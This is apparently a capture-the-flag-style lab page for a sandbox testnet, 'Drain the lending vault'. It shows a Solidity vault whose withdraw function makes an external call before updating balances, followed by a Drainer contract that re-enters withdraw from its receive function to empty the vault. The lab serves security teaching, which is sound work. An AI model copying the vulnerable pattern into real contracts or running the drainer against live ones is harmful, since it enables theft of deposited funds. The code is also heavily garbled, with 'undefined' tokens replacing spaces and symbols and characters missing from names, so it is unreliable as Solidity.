Labs / Drain the lending vault
Isolated environment·0xrange sandbox testnet
rank A-04
LendingVault.sol
external call before state update
1// SPDX-License-Identifier: MIT
2pragmaundefinedolidityundefined0.8.19;
3 
4/// @notice Minimal ETH lending vault. Users deposit and
5/// withdraw their own balance. Sandbox build for 0xrange.
6contractundefinedendingVaultundefined
7undefinedundefinedmapping(addressundefined>undefinedC)undefinedDundefinedalances;
8undefinedundefineduint256undefinedBundefinedotalDeposits;
9 
10undefinedundefinedfunctionundefinedeposit()undefinedBundefinedCundefined
11undefinedundefinedundefinedundefinedbalances[msg.sender]undefined=undefinedB.value;
12undefinedundefinedundefinedundefinedtotalDepositsundefinedundefinedundefinedundefined+=undefinedA.value;
13undefinedundefined}
14 
15undefinedundefinedfunctionundefinedithdraw(uint256undefinedmount)undefinedCundefined
16undefinedundefinedundefinedundefinedrequire(balances[msg.sender]undefinedgt;=undefinedmount,undefinedA);
17 
18undefinedundefinedundefinedundefined// INTERACTION before EFFECT — hands control to the caller
19undefinedundefinedundefinedundefined(boolundefinedk,undefinedundefinedundefinedC.sender.call{value:undefinedmount}("");
20undefinedundefinedundefinedundefinedrequire(ok,undefinedA);
21 
22undefinedundefinedundefinedundefinedbalances[msg.sender]undefined=undefinedmount;undefinedundefinedA
23undefinedundefinedundefinedundefinedtotalDepositsundefinedundefinedundefinedundefined-=undefinedmount;
24undefinedundefined}
25}
// attacker — Drainer.sol
1contractundefinedrainerundefined
2undefinedundefinedLendingVaultundefinedault;
3undefinedundefineduint256undefinedBundefinedNITundefinedundefinedCundefinedther;
4 
5undefinedundefinedconstructor(addressundefined)undefinedundefinedaultundefinedundefinedendingVault(payable(v));undefined
6 
7undefinedundefinedfunctionundefinedttack()undefinedBundefinedCundefined
8undefinedundefinedundefinedundefinedvault.deposit{value:undefinedNIT}();undefinedundefinedA
9undefinedundefinedundefinedundefinedvault.withdraw(UNIT);undefinedundefinedundefinedundefinedundefinedundefinedA
10undefinedundefined}
11 
12undefinedundefinedreceive()undefinedAundefinedBundefined
13undefinedundefinedundefinedundefinedifundefinedaddress(vault).balanceundefinedgt;=undefinedNIT)undefined
14undefinedundefinedundefinedundefinedundefinedundefinedvault.withdraw(UNIT);undefinedundefinedundefinedundefinedA
15undefinedundefinedundefinedundefined}
16undefinedundefined}
17}